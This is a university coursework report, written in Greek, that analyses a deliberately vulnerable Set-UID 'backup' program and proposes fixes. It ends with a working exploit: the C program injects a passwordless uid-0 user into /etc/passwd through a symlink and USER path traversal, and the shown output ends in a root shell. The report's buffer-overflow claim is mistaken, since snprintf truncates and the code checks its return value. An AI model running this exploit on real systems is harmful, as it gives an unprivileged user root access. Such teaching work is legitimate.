

ΠΑΝΕΠΙΣΤΗΜΙΟ ΠΕΙΡΑΙΩΣ  
Τμήμα Πληροφορικής



Εργασία Μαθήματος **Ασφάλεια Λογισμικού**

Αρ. Άσκησης – Τίτλος Άσκησης	<b>Εργασία 1η - Ανίχνευση και Εκμετάλλευση Αδυναμιών</b>
Όνομα φοιτητή – Αρ. Μητρώου (όλων σε περίπτωση ομαδικής εργασίας)	Ανδριανόπουλος Βασίλειος - ΜΠΚΕΔ2303
Ημερομηνία παράδοσης	



## Εκφόνηση της άσκησης

Εταιρεία που προσφέρει υπηρεσίες shared hosting, παρέχει στους πελάτες της τη δυνατότητα να αποθηκεύουν αντίγραφα των αρχείων καταγραφής του εξυπηρετητή ιστού (web server log files) σε ασφαλή τοποθεσία, όπου μπορούν αργότερα να αναλυθούν από ειδικό λογισμικό της εταιρείας με στόχο την εξαγωγή στατιστικών επισκεψιμότητας και την τήρηση αρχείων ασφαλείας (backups).

Η αντιγραφή των αρχείων γίνεται από τους χρήστες μέσω της Set-UID εφαρμογής 'backup', καθώς οι χρήστες δεν έχουν τα δικαιώματα που απαιτούνται για να προσπελάσουν την ασφαλή τοποθεσία. Ο κώδικας της εφαρμογής 'backup' παρουσιάζεται στο αρχείο `exercise2024_1_source.c`.

Στο πλαίσιο της παρούσας εργασίας καλείστε να εντοπίσετε τις αδυναμίες της παραπάνω εφαρμογής. Για κάθε αδυναμία που θα εντοπιστεί κατά τον έλεγχο του πηγαίου κώδικα, η τεκμηρίωσή σας θα πρέπει να περιλαμβάνει:

- την περιγραφή της αδυναμίας
- τον τύπο της αδυναμίας με αντιστοίχιση σε CWE(s)
- τις επιπτώσεις από την εκμετάλλευση της αδυναμίας για την εφαρμογή, το σύστημα και τους χρήστες αυτού
- μια πρόταση για την αντιμετώπιση της αδυναμίας, που θα μπορούσε να ακολουθήσει ο προγραμματιστής της εφαρμογής 'backup'

Επίσης, για να αποδείξετε την κρισιμότητα των παραπάνω αδυναμιών, καλείστε να υλοποιήσετε εφαρμογή τύπου "exploit" η οποία θα εκμεταλλεύεται κάποιες από τις αδυναμίες που έχετε εντοπίσει προκειμένου να δώσει σε ένα απλό χρήστη πρόσβαση επιπέδου διαχειριστή (root shell) στον shared hosting server.

Η τεκμηρίωση των αδυναμιών (κείμενο σε μορφή PDF) και ο πηγαίος κώδικας της εφαρμογής-exploit θα αποτελούν το παραδοτέο της εργασίας.

Η εργασία είναι ατομική και θα μετρήσει για το 20% του βαθμού του μαθήματος.

Καλή Επιτυχία!



## ΠΙΝΑΚΑΣ ΠΕΡΙΕΧΟΜΕΝΩΝ

ΠΙΝΑΚΑΣ ΠΕΡΙΕΧΟΜΕΝΩΝ .....	3
1 Ανάλυση και Τεκμηρίωση Αδυναμιών .....	4
1.1 Αδυναμία ‘getenv’ (Path Traversal) .....	7
1.2 Αδυναμία ‘current time’ (File Manipulation).....	8
1.3 Αδυναμία ‘O_WRONLY   O_CREAT ‘ .....	9
1.4 Αδυναμία root ownership.....	10
1.5 Αδυναμία Bufferoverflow .....	10
2 Ανάλυση και Τεκμηρίωση Αδυναμιών .....	11



## 1 Ανάλυση και Τεκμηρίωση Αδυναμιών

```
1 #include <stdio.h>
2 #include <stdlib.h>
3 #include <sys/stat.h>
4 #include <unistd.h>
5 #include <fcntl.h>
6 #include <limits.h>
7 #include <errno.h>
8 #include <time.h>
9
10 /* WARNING: This software was intentionally implemented in
11    an UNSAFE manner. USE ONLY for educational purposes!
12
13 D. A. Glynnos
14 First exercise material
15 Software Security Course
16 University of Piraeus, Department of Informatics
17 (c) 2014 - 2024
18
19 BUILD instructions:
20
21 $ gcc -Wall -o backup exercise2024_1_source.c
22 change to root (e.g. su, sudo bash etc.)
23 # chown root:root backup
24 # chmod +s backup
25
26 INSTALLATION instructions:
27
28 for normal use make sure the path /backups/access/USER exists
29 (e.g. as root run
30   # mkdir -p /backups/access/john
31   where john is your username)
32
33 RUN as non-root user:
34
35 $ ./backup access.log
36 415 bytes copied
37 */
```



```
38
39 char *getuser(void) {
40     char *user;
41
42     if ((user = getenv("USER")) == NULL) {
43         fprintf(stderr, "Could not deduce the username\n");
44     }
45
46     return user;
47 }
48
49 int open_dest_file(char *pathbuf, size_t pathbuf_sz, char *user) {
50     time_t curtime;
51     int err, fd;
52
53     curtime = time(NULL);
54     err = snprintf(pathbuf, pathbuf_sz, "/backups/access/%s/accesslog-
%u",
55                     user, (unsigned int) curtime);
56
57     if ((err == -1) || (err >= pathbuf_sz)) {
58         fprintf(stderr, "Error during path construction\n");
59         return -1;
60     }
61
62     fd = open(pathbuf, O_WRONLY | O_CREAT, 0644);
63     if (fd == -1) {
64         perror("Error while opening file for writing");
65         return -1;
66     }
67
68     return fd;
69 }
70
71 int copy_file(int input, int output) {
72     char buffer[100];
73     int nbytes;
74     int total = 0;
75
76     while((nbytes = read(input, buffer, sizeof(buffer))) > 0) {
77         write(output, buffer, nbytes);
78         total += nbytes;
79     }
80 }
```



```
81     return total;
82 }
83
84 int main(int argc, char *argv[]) {
85     char *user, dest_path[PATH_MAX];
86     int src_fd, dest_fd, copied_bytes;
87
88     if (argc != 2) {
89         fprintf(stderr, "usage: %s /path/to/access.log\n", argv[0]);
90         exit(1);
91     }
92
93     user = getuser();
94     if (user == NULL) {
95         exit(1);
96     }
97
98     src_fd = open(argv[1], O_RDONLY);
99     if (src_fd == -1) {
100         perror("Could not open access log for reading");
101         exit(1);
102     }
103
104     dest_fd = open_dest_file(dest_path, sizeof(dest_path), user);
105     if (dest_fd == -1) {
106         exit(1);
107     }
108
109     copied_bytes = copy_file(src_fd, dest_fd);
110
111     close(src_fd);
112     close(dest_fd);
113
114     fprintf(stderr, "%d bytes copied\n", copied_bytes);
115
116     return 0;
117 }
118
```



## 1.1 Αδυναμία ‘getenv’ (Path Traversal)

Η πρώτη αδυναμία που συναντάμε βρίσκεται στη σειρά 54 του πηγαίου κώδικα και αφορά την εντολή,

```
54 err = snprintf(pathbuf, pathbuf_sz, "/backups/access/%s/accesslog-%u",
55           user, (unsigned int) curtme);
```

Συγκεκριμένα, αυτή εντολή αξιοποιεί τη μεταβλητή user για να μεταβεί σε root privilege directory.

Ωστόσο, η εντολή user ορίζεται στη σειρά 93 του πηγαίου κώδικα, κατά την εκτέλεση της main.

```
93 user = getuser();
```

Που με τη σειρά της επικαλείται τη getuser() από τη σειρά 39.

```
39 char *getuser(void) {
40     char *user;
41
42     if ((user = getenv("USER")) == NULL) {
43         fprintf(stderr, "Could not deduce the username\n");
44     }
45
46     return user;
47 }
48
```

Η αδυναμία της συγκεκριμένης εντολής στη σειρά 42,

```
49 user = getenv("USER")
```

είναι ότι βασίζεται αποκλειστικά στην αξιοπιστία των **μεταβλητών περιβάλλοντος** του συστήματος.

Αυτό μπορεί να αποτελέσει πρόβλημα σε περιβάλλοντα όπου ο χρήστης μπορεί να παραβιάσει τις μεταβλητές αυτές και να τις χειραγωγήσει.

Η χειραγώγηση της μεταβλητής user, μπορεί αν επιτρέψει την πλοήγηση σε διαφορετικό path από αυτό που ενδεχομένως να επιθυμεί ο developer.



```
56 err = snprintf(pathbuf, pathbuf_sz, "/backups/access/%s/accesslog-%u",
57             user, (unsigned int) curtime);
```

Για παράδειγμα, όπως θα δούμε και στο exploit παρακάτω, αλλάζοντας τη μεταβλητή περιβάλλοντος user σε directory που έχει access o user, μπορεί το λογισμικό να εργαστεί στο συγκεκριμένο directory και όχι στο επιθυμητό.

Ένας τρόπος για να αποφευχθεί αυτό, είναι μέσω των εντολών getpwuid και getuid.

Ενδεικτικά ένα script που επιστρέφει τον current user, με τη χρήση των παραπάνω εντολών, είναι το παρακάτω.

```
#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <pwd.h>

int main() {
    struct passwd *pw;
    uid_t uid;
    uid = geteuid();
    pw = getpwuid(uid);
    if (pw) {
        printf("%s\n", pw->pw_name);
    } else {
        perror("getpwuid() error");
        return 1;
    }
    return 0;
}
```

## 1.2 Αδυναμία ‘current time’ (File Manipulation)

Η δεύτερη αδυναμία που συναντάμε βρίσκεται και πάλι στη σειρά 54 του πηγαίου κώδικα και αφορά την εντολή,

```
58 err = snprintf(pathbuf, pathbuf_sz, "/backups/access/%s/accesslog-%u",
59             user, (unsigned int) curtime);
```



Συγκεκριμένα, αυτή εντολή αξιοποιεί τη μεταβλητή `curtime` για να ορίσει το όνομα του copied αρχείου `accesslog`.

Η χρήση του χρόνου στην ονοματοδοσία των αρχείων, δεν συνίσταται μιας και θα γνωρίζουμε ανά πάσα ώρα την ονομασία που πρόκειται να λάβει το αρχείο.

Αυτό δρα συνδυαστικά και με την επόμενη αδυναμία.

Ένας τρόπος για να αποφευχθεί αυτό, είναι χρησιμοποιώντας ασφαλείς τυχαίους αριθμούς κάνοντας `append` το current χρόνο (για λόγους διατήρησης του αρχικού μοντέλου).

Έτσι, το καινούριο αρχείο που θα παραχθεί θα είναι τυχαίο λόγω της γεννήτριας τυχαίων αριθμών, αλλά παράλληλα θα έχει την ίδια δομή με πριν μιας και η κατάληξή του θα είναι με βάση την τωρινή ώρα.

Πχ. `access23539304239-240411164723`

### 1.3 Αδυναμία ‘`O_WRONLY | O_CREAT`’

Η αδυναμία αυτή παρατηρείται στη σειρά 62

```
62 fd = open(pathbuf, O_WRONLY | O_CREAT, 0644);
```

Με τη χρήση των παραμέτρων `O_WRONLY | O_CREAT`, δίνεται η δυνατότητα στη περίπτωση που υπάρχει ήδη το αρχείο, να επεξεργαστεί αυτό ή στη περίπτωση που δεν υπάρχει, να δημιουργηθεί.

Σε αυτή τη περίπτωση, ο επιτιθέμενος μπορεί να δημιουργήσει ένα symbolic link με την επιθυμητή ονομασία, κάνοντας point ένα κρίσιμο root αρχείο. Λόγω της παραμέτρου `O_WRONLY`, το αρχείο που κάνει point το symbolic link θα ανοίξει και θα επεξεργαστεί όπως ορίζει το script.

Ένας τρόπος για να αποφευχθεί αυτό είναι με τη χρήση της παραμέτρου `O_EXCL` ή με τη συνάρτηση `mkstemp`.



#### 1.4 Αδυναμία root ownership

Η αδυναμία αυτή βασίζεται στον τρόπο που ζητείται να οριστεί το ownership του compiled αρχείου backup.

Αντί να υπάρχει root ownership (και κατ' επέκταση root privileges) στο backup αρχείο, που είναι φυσικό να χρειάζονται μιας και η εργασία που καλείται να εκτελέσει (create a file on a root directory) απαιτεί τέτοια privileges, θα ορίσουμε owner και permissions του directory /backups/access/user τον user.

Αυτό θα έχει σαν αποτέλεσμα να μη χρειάζεται το backup compiled αρχείο να έχει root privileges και άρα να μπορεί να λειτουργήσει έχοντας ως owner τον user.

Ενδεικτικά, η διαδικασία που μπορούμε να ακολουθήσουμε κατά τη δημιουργία του directory είναι,

```
$ mkdir -p /backups/access/user  
$ chmod 700 /backups/access/user  
$ chown user:user /backups/access/user
```

#### 1.5 Αδυναμία Bufferoverflow

Η ευπάθεια βρίσκεται στη συνάρτηση open\_dest\_file, συγκεκριμένα στην κλήση snprintf στη γραμμή 54.

```
54 err = snprintf(pathbuf, pathbuf_sz, "/backups/access/%s/accesslog-%u",  
55           user, (unsigned int) curtime);
```

Η συνάρτηση snprintf χρησιμοποιείται για την κατασκευή ενός path, στη μεταβλητή pathbuf.

Ωστόσο, δεν υπάρχει έλεγχος για να διασφαλιστεί ότι το μήκος path δεν υπερβαίνει το μέγεθος του pathbuf.

Εάν το μήκος του path υπερβαίνει το pathbuf\_sz, το snprintf θα εξακολουθεί να γράφει δεδομένα στο pathbuf, οδηγώντας σε bufferoverflow.



Για να αντιμετωπιστεί αυτή η ευπάθεια, θα πρέπει να βεβαιωθούμε ότι το μήκος της κατασκευασμένης διαδρομής δεν υπερβαίνει το μέγεθος της προσωρινής μνήμης (pathbuf) ελέγχοντας σωστά την τιμή που επιστρέφει και αντιμετωπίζοντας περιπτώσεις όπου η προσωρινή μνήμη δεν είναι αρκετά μεγάλη για να κρατήσει ολόκληρο το path.

## 2 Ανάλυση και Τεκμηρίωση Αδυναμιών

```
3 #include <stdio.h>
4 #include <stdlib.h>
5 #include <unistd.h>
6 #include <fcntl.h>
7 #include <sys/stat.h>
8 #include <sys/types.h>
9 #include <time.h>
10
11 int main() {
12     FILE *file = fopen("access.log", "w"); // Open access.log in write mode
13     if (file == NULL) {
14         fprintf(stderr, "Error: Unable to create access.log\n");
15         return 1;
16     }
17
18     // Append contents of /etc/passwd to access.log
19     FILE *passwd_file = fopen("/etc/passwd", "r");
20     if (passwd_file == NULL) {
21         fprintf(stderr, "Error: Unable to read /etc/passwd\n");
22         fclose(file); // Close access.log file before returning
23         return 1;
24     }
25
26     char line[1024];
27     while (fgets(line, sizeof(line), passwd_file)) {
28         fprintf(file, "%s", line);
29     }
30
31     // Write the content to access.log
32     fprintf(file, "\nnewuser::0:0:New User:/bin/bash");
33
34     // Close the passwd file
35     fclose(passwd_file);
```



```
36
37     // Close the access.log file
38     fclose(file);
39
40     char *realuser = getenv("USER");
41     if (realuser == NULL) {
42         fprintf(stderr, "Error: Unable to get the current user\n");
43         return 1;
44     }
45
46     char pwd[100]; // Adjust the size according to your needs
47     char user_value[200]; // Adjust the size according to your needs
48
49     // Obtain the current working directory
50     if (getcwd(pwd, sizeof(pwd)) != NULL) {
51         // Concatenate "../../../" with pwd
52         sprintf(user_value, "../../../%s", pwd);
53     } else {
54         perror("getcwd() error");
55         // Handle error if needed
56     }
57
58     // Setting the value of USER environment variable
59     setenv("USER", user_value, 1);
60
61     time_t current = time(NULL); // Get the current time
62
63     char command_symlink[100]; // Assuming the command won't exceed 100
       characters
64     sprintf(command_symlink, "ln -s /etc/passwd accesslog-%ld ", current);
65
66     if (system(command_symlink) != 0) {
67         fprintf(stderr, "Error: Failed to create symbolic link\n");
68         return 1;
69     }
70     printf("Symbolic link created. \n");
71
72     system("./backup access.log");
73
74     system("su newuser");
75
76     return 0;
77 }
78 }
```



Εφαρμόζοντας τις παραπάνω αδυναμίες, έχουμε το παραπάνω script.

Μια συνοπτική εξήγηση του τι κάνει:

1. Δημιουργεί το dummy access.log αρχείο που περιέχει το περιεχόμενο του passwd (ο user έχει δικαίωμα προβολής του passwd) κάνοντας append το string **newuser::0:0:New User:/bin/bash\n**  
Ακολουθώντας τη δομή user::0:0 δημιουργούμε τον χρήστη user, χωρίς κωδικό πρόσβασης (:) και ανήκοντας στο group 0 (root group)
2. Αλλάζει την μεταβλητή περιβάλλοντος του USER σε ‘..’+(current directory)
3. Δημιουργεί το symlink access-currenttime που δείχνει στο /etc/passwd
4. Τρέχει το ./backup access.log
5. Αλλάζει τον current user στον καινούριο (μεταβαίνοντας έτσι σε root privileged user)

Περιγραφικά, μόλις τρέξουμε την εντολή ./backup access.log, το getenv("USER") θα επιστρέψει το νέο directory, θα δει πως υπάρχει ήδη το αρχείο access-currenttime (που δείχνει στο passwd) και θα ανοίξει αυτό προκειμένου να το γεμίσει με τα περιεχόμενα του access.log.

Η μόνη μικρή λεπτομέρεια στο παραπάνω exploit είναι πως δεν έχει μπει ο έλεγχος του current time μιας και το παραπάνω exploit υλοποιείται σε milliseconds.

```
(kali㉿kali)-[~/Downloads]
$ ./exploit
Symbolic link created.
3257 bytes copied
(root㉿kali)-[/home/kali/Downloads]
#
```